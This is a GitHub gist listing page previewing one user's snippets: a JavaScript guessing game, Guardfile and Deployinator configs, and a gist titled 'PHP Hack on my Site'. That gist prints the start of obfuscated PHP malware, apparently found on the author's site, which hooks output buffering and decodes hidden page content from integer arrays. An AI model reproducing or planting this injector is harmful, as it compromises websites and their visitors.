Skip to content

Instantly share code, notes, and snippets.

@caseybecking
caseybecking / gist:7226565
Created October 30, 2013 02:58
Sample Code for Mike
var theNumber = Math.floor(Math.random() * 20 + 1);
var count = 0;
var trys = 5;
function Submit() {
var submit = document.getElementById('submit');
var output = document.getElementById('output');
var myNumber = submit.value;
if (count < trys) {
if (myNumber < theNumber) {
@caseybecking
caseybecking / Guardfile
Created March 6, 2012 23:12
Demandware: Webdav
require 'guard/guard'
module ::Guard
class Frontend < ::Guard::Guard
end
end
settings = {
dest: 'https://dev02.web.thelimited.demandware.net//on/demandware.servlet/webdav/Sites/Cartridges/version1/'
}
@caseybecking
caseybecking / gist:1143110
Created August 12, 2011 22:06
PHP Hack on my Site
<?php global $ob_starting;
if(!$ob_starting) {
function ob_start_flush($s) {
$tc = array(0, 69, 84, 82, 67, 83, 7, 79, 23, 73, 8, 9, 12, 76, 68, 63, 24, 78, 3, 19, 65, 27, 14, 70, 80, 29, 16, 85, 89, 17, 86, 2, 18, 77, 91, 93, 11, 66, 71, 72, 75, 20, 87, 74, 59, 13, 22, 61, 52, 25, 28, 37, 35, 15, 1, 21, 30, 34, 92, 36, 41, 88, 46, 51, 33);
$tr = array(50, 5, 4, 3, 9, 24, 2, 0, 2, 28, 24, 1, 25, 31, 2, 1, 61, 2, 53, 43, 20, 30, 20, 5, 4, 3, 9, 24, 2, 31, 56, 9, 23, 0, 10, 2, 28, 24, 1, 7, 23, 10, 3, 1, 14, 1, 23, 15, 4, 7, 13, 7, 3, 5, 11, 25, 25, 31, 27, 17, 14, 1, 23, 9, 17, 1, 14, 31, 11, 0, 34, 0, 0, 0, 30, 20, 3, 0, 14, 9, 30, 15, 4, 7, 13, 7, 3, 5, 0, 25, 0, 17, 1, 42, 0, 64, 3, 3, 20, 28, 10, 6, 18, 41, 37, 16, 32, 8, 32, 6, 12, 0, 6, 18, 16, 29, 8, 16, 8, 23, 6, 12, 0, 6, 18, 16, 19, 32, 23, 16, 19, 6, 12, 0, 6, 18, 16, 16, 8, 23, 8, 41, 6, 12, 0, 6, 18, 41, 4, 19, 29, 16, 19, 6, 12, 0, 6, 18, 8, 41, 16, 8, 16, 19, 6, 12, 0, 6, 18, 19, 1, 8, 49, 8, 26, 6, 12, 0, 6, 18, 16, 55, 8, 26, 16, 32, 6, 1
@caseybecking
caseybecking / gist:1130632
Created August 7, 2011 18:41
deployinator multiple deployments
module Deployinator
module Stacks
module Boilerplate
def boilerplate_production_version
# %x{curl http://my-app.com/version.txt}
"cf44aab-20110729-230910-UTC"
end
def boilerplate_head_build
# the build version you're about to push